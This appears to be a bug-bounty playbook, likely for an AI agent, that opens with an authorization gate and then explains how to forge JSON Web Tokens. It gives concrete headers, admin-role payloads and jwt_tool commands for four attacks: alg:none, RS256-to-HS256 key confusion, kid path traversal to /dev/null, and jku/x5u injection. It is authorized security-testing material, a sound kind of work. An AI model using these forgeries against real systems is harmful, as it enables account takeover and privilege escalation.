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1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-JWT-CRYPTO — Forgeable JSON Web Tokens (A04 Cryptographic Failures)

What actually pays

A JWT is header.payload.signature, each base64url. The signature is the only thing stopping you from editing the payload (your identity/role) and replaying it. It pays High/Critical when the verifier can be tricked into accepting a token you forged — so you become another user or an admin without their secret.

Two classic, generic verifier flaws:

• alg:none — the verifier trusts the token's own alg header. Set alg:"none", drop the signature, edit the payload (e.g. role:"admin", another user's id/email). A broken verifier skips signature checking.
• RS256 → HS256 key confusion — the token is signed RS256 (asymmetric). The RSA public key is, by definition, public. If the verifier lets you choose HS256, it will use that public key as the HMAC secret — which you also know. Sign an edited payload with HS256 using the public key and it validates.

Recon — is this app JWT-based?

Login/token responses containing  "token":"eyJ..."   or  Set-Cookie: token=eyJ...
Authorization: Bearer eyJ...    on authenticated requests
A JWKS / public-key endpoint:   /.well-known/jwks.json, /jwks, public-key in the JS bundle

Decode the header (base64url the first segment). "alg":"RS256" → try key confusion. Any alg → always try alg:none first; it's free.

Forging the token (never hand-encode base64 — use a JWT tool)

Use a purpose-built tool so encoding/signing is correct: jwt_tool (jwt_tool <token> -T to tamper interactively, -X a for alg:none, -X k -pk public.pem for key confusion), Burp's JWT Editor extension, or a few lines of PyJWT. Each forge below is the concept plus the claim to edit.

alg:none — become admin / another user

header:    {"alg":"none","typ":"JWT"}
payload:   {"data":{"id":1,"email":"admin@target.example","role":"admin"}}
signature: (empty — keep the trailing dot:  header.payload. )

Some verifiers reject lowercase none but accept None/NONE/nOnE — try case variants.

RS256 → HS256 key confusion — once you have the RSA public key

1. Obtain the server's RSA public key as PEM. Sources: /jwks.json or
   /.well-known/jwks.json (convert the JWK to PEM), a public-key file in the JS
   bundle, or recover it from two captured tokens (e.g. jwt_tool / rsa_sign2n).
2. Re-sign an EDITED payload with HS256, using that PEM as the HMAC secret:
      jwt_tool <token> -X k -pk public.pem
   payload edit:  {"sub":"administrator"}   (or role:"admin" / another user's id)

kid header injection — verifier loads the HMAC key from a FILE named by kid

header:  {"alg":"HS256","kid":"../../../../../../../dev/null"}
secret:  ""     (contents of /dev/null = empty string → sign HS256 with an empty secret)
payload: {"sub":"administrator"}

Traverse out of the keys directory first. kid can also carry SQLi / command injection / SSRF if the key lookup hits a DB / shell / URL — same idea: kid is attacker-controlled and reaches a dangerous sink.

jku / x5u header injection (RS256) — verifier fetches the public key from a URL in the token

1. Host a JWKS containing a public key you control, on a server the verifier can reach.
2. Set the token's `jku` (or `x5u`) header to that URL and sign the edited payload
   with YOUR matching private key.
3. If the verifier allowlists jku hosts, chain an open-redirect or SSRF-reachable
   path on the target's OWN domain so the fetch resolves to your JWKS.

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